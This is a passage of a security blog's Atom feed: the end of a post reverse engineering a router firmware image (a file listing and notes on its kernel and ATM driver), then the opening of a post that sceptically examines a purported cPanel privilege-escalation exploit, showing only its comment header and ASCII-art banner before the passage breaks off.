445&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum387&quot;&gt; 387:&lt;/span&gt; www\images\a1.gif                   ?1:0xac514ed1 offset: 149434 size: 368&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum388&quot;&gt; 388:&lt;/span&gt; www\images\bar_bg3.gif              ?1:0xac514ed1 offset: 149802 size: 293&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum389&quot;&gt; 389:&lt;/span&gt; www\images\bg.gif                   ?1:0xac514ed1 offset: 150095 size: 651&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum390&quot;&gt; 390:&lt;/span&gt; www\images\clear.gif                ?1:0xac514ed1 offset: 150746 size: 54&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum391&quot;&gt; 391:&lt;/span&gt; www\images\close.gif                ?1:0xac514ed1 offset: 150800 size: 317&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum392&quot;&gt; 392:&lt;/span&gt; www\images\france.gif               ?1:0xac514ed1 offset: 151117 size: 131&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum393&quot;&gt; 393:&lt;/span&gt; www\images\kingdom.gif              ?1:0xac514ed1 offset: 151248 size: 672&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum394&quot;&gt; 394:&lt;/span&gt; www\images\logo.gif                 ?1:0xac912e4f offset: 151920 size: 2726&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum395&quot;&gt; 395:&lt;/span&gt; www\images\logo_m_adsl.gif          ?1:0xacb64f50 offset: 154646 size: 3685&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum396&quot;&gt; 396:&lt;/span&gt; www\images\logo_m_apro.gif          ?1:0xacb64f6e offset: 158331 size: 3525&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum397&quot;&gt; 397:&lt;/span&gt; www\images\logo_nb.gif              ?1:0xac514f51 offset: 161856 size: 970&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum398&quot;&gt; 398:&lt;/span&gt; www\images\logo_s.gif               ?1:0xac912e4f offset: 162826 size: 2726&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum399&quot;&gt; 399:&lt;/span&gt; www\images\logo_t.gif               ?1:0xac912e4f offset: 165552 size: 2726&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum400&quot;&gt; 400:&lt;/span&gt; www\images\logo_w.gif               ?1:0xaca54238 offset: 168278 size: 3052&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum401&quot;&gt; 401:&lt;/span&gt; www\images\p1.gif                   ?1:0xac514ed1 offset: 171330 size: 842&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum402&quot;&gt; 402:&lt;/span&gt; www\images\p2.gif                   ?1:0xac514ed1 offset: 172172 size: 823&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum403&quot;&gt; 403:&lt;/span&gt; www\images\p4.gif                   ?1:0xac514ed1 offset: 172995 size: 53&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum404&quot;&gt; 404:&lt;/span&gt; www\images\pixel.gif                ?1:0xac514ed1 offset: 173048 size: 54&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum405&quot;&gt; 405:&lt;/span&gt; www\images\sa3_1.gif                ?1:0xac514ed1 offset: 173102 size: 866&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum406&quot;&gt; 406:&lt;/span&gt; www\images\sw1_2.gif                ?1:0xac514ed1 offset: 173968 size: 866&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum407&quot;&gt; 407:&lt;/span&gt; www\images\top_3.gif                ?1:0xac514ed1 offset: 174834 size: 161&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum408&quot;&gt; 408:&lt;/span&gt; www\images\v_p5.gif                 ?1:0xac514ed1 offset: 174995 size: 49&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/div&gt;As for the other 2 files, soho.bin and ar0700mp.bin, the first is the kernel of our system and the second is the ATM driver ( &lt;a title=&quot;https://dev.openwrt.org/browser/trunk/package/ar7-atm/&quot; href=&quot;https://dev.openwrt.org/browser/trunk/package/ar7-atm/&quot;&gt;https://dev.openwrt.org/browser/trunk/package/ar7-atm/&lt;/a&gt; ).  </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/5865396421803174189/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/08/firmware-reverse-engineering.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/5865396421803174189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/5865396421803174189'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/08/firmware-reverse-engineering.html' title='firmware reverse engineering'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-8121940402739223790</id><published>2011-07-12T12:05:00.001+03:00</published><updated>2011-07-12T12:05:17.673+03:00</updated><title type='text'>Fast and simple backdoor analysis</title><content type='html'>&lt;p align=&quot;justify&quot;&gt;Going through my reader feeds in the morning, I saw one post that stood out today. On average there are about 500 rss feeds / day and through time you get used to clear in a glance things that matter and things that are just noise. The “interesting” post today was about “cPanel 11.x Privilege Escalation Exploit” at Inj3ct0r ( &lt;a title=&quot;http://1337day.com/exploits/16512&quot; href=&quot;http://1337day.com/exploits/16512&quot;&gt;http://1337day.com/exploits/16512&lt;/a&gt; ) .&lt;/p&gt; &lt;p align=&quot;justify&quot;&gt;Strange I thought first of all Inj3ct0r is not the first place that something like that will appear, a cPanel privilege escalation exploit, if it existed, most possibly it should had appear first on exploit-db.com and/or full-disclosure mail list. Most of the times Inj3ct0r works like an aggregator from other places collecting exploits and papers from other security related websites. &lt;/p&gt; &lt;p align=&quot;justify&quot;&gt;Let’s have a look then, &lt;/p&gt; &lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; height: 289px; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt; &lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; &amp;lt;?php&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;# cPanel 11.x Privilege Escalation Exploit&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;# Author : ZxH-Lab&#39;s&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;# Note :  Ghamzeh-Hacker Found it By Himself too :)&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;# Site : Sec4ever.CoM | Sec-L4b.OrG | Tryag.Cc | &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;# Greet&#39;z 2 Tw1st3r | I-Hmx | Sec4Ever | MaestRo_Dz | The Injector | Mr.Dangers |FoX HacKeR | Jago-Dz | S4S | Mr.L4iVe | Ahmadso | r1z | JxH | BackTrack | Eng.Silent.Night | ProFeSSoR | 1337Day&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;# Special Greet&#39;z 2 FreeMAN | EvIL SheLL [R.I.P] | Dr.AnGeL | Ghamzeh-HacKeR | T0r0b0xHACKER | X-Shadow | TheMMA &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt; ?&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum10&quot;&gt;  10:&lt;/span&gt; &amp;lt;html&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum11&quot;&gt;  11:&lt;/span&gt; &amp;lt;head&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum12&quot;&gt;  12:&lt;/span&gt; &amp;lt;title&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum13&quot;&gt;  13:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;# Privilege Escalation Exploit By TurkisH-RuleZ&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum14&quot;&gt;  14:&lt;/span&gt; &amp;lt;/title&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum15&quot;&gt;  15:&lt;/span&gt; &amp;lt;/head&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum16&quot;&gt;  16:&lt;/span&gt; &amp;lt;body&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum17&quot;&gt;  17:&lt;/span&gt; &amp;lt;pre&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum18&quot;&gt;  18:&lt;/span&gt;  ______  __     __   ___   ___             __       ________    _______   ___   ______    &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum19&quot;&gt;  19:&lt;/span&gt; /_____/\/__/\ /__/\ /__/\ /__/\           /_/\     /_______/\ /_______/\ /__/\ /_____/\   &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum20&quot;&gt;  20:&lt;/span&gt; \:::__\/\ \::\\:.\ \\::\ \\  \ \   _______\:\ \    \::: _  \ \\::: _  \ \\::\ \\:::__\/   &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum21&quot;&gt;  21:&lt;/span&gt;    /: /  \_\::_\:_\/ \::\/_\ .\ \ /______/\\:\ \    \::(_)  \ \\::(_)  \/_\:_\/   /: /    &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum22&quot;&gt;  22:&lt;/span&gt;   /::/___  _\/__\_\_/\\:: ___::\ \\__::::\/ \:\ \____\:: __  \ \\::  _  \ \      /::/___  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum23&quot;&gt;  23:&lt;/span&gt;  /_:/____/\\ \ \ \::\ \\: \ \\::\ \          \:\/___/\\:.\ \  \ \\::(_)  